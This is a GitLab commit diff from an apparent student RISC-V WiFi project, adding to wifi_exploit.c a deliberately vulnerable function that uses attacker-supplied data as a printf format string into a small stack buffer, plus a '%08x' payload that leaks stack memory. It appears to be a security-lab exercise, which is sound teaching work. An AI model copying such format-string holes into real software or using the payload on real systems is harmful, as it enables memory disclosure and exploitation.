Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
risc-v-wifi
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Iterations
Wiki
Requirements
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Locked files
Build
Pipelines
Jobs
Pipeline schedules
Test cases
Artifacts
Deploy
Releases
Package registry
Container registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Code review analytics
Issue analytics
Insights
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
SWPws2020
risc-v-wifi
Commits
f1608e39
Commit
f1608e39
authored
4 years ago
by
aticu
Browse files
Options
Downloads
Patches
Plain Diff
oaseht
parent
b5e0e772
Branches
Branches containing commit
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
sifive_software/src/wifi_exploit.c
+36
-1
36 additions, 1 deletion
sifive_software/src/wifi_exploit.c
with
36 additions
and
1 deletion
sifive_software/src/wifi_exploit.c
+
36
−
1
View file @
f1608e39
...
...
@@ -54,7 +54,7 @@ char *server_request_handler(char *location, enum request_type type, char *data,
// is definitely large enough
char
message
[
28
];
memcpy
(
message
,
"Hallo, "
,
7
);
memcpy
(
message
+
7
,
&
data
[
5
],
data_len
-
5
);
snprintf
(
message
+
7
,
data_len
-
5
,
&
data
[
5
]
);
*
(
message
+
7
+
data_len
-
5
)
=
0
;
return
http_prepare_response
(
message
,
strlen
(
message
),
200
,
out_len
);
}
else
{
...
...
@@ -66,6 +66,32 @@ char *server_request_handler(char *location, enum request_type type, char *data,
return
NULL
;
}
char
*
target
=
"I'm a target"
;
int
is_target
(
char
*
test
)
{
return
strncmp
(
test
,
target
,
strlen
(
target
))
==
0
;
}
char
*
attack_me
(
char
*
data
,
uint32_t
data_len
)
{
// nobody could possibly enter a name longer than 20 characters, so this buffer
// is definitely large enough
char
message
[
28
];
memcpy
(
message
,
"Hallo, "
,
7
);
snprintf
(
message
+
7
,
data_len
+
1
,
data
);
char
*
result
=
malloc
(
strlen
(
message
)
+
1
);
memcpy
(
result
,
message
,
strlen
(
message
)
+
1
);
return
result
;
}
/*
* 0x6
* 0x55
* 0x80000f37
* 0x1f
* 0x0
*/
int
main
(
void
)
{
LED_off
(
LED_ALL
);
LED_on
(
LED_RED
);
...
...
@@ -77,6 +103,13 @@ int main(void) {
spi_init
(
SPICLOCK_80KHZ
);
char
*
attack
=
"%08x %08x %08x %08x %08x %08x"
;
char
*
result
=
attack_me
(
attack
,
strlen
(
attack
));
printf
(
"%s"
,
result
);
/*
if(webserver_init(ESP32_NETWORK_IMPLEMENTATION) != 0) {
return 1;
}
...
...
@@ -88,6 +121,8 @@ int main(void) {
LED_off(LED_BLUE);
LED_on(LED_GREEN);
*/
return
0
;
}
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment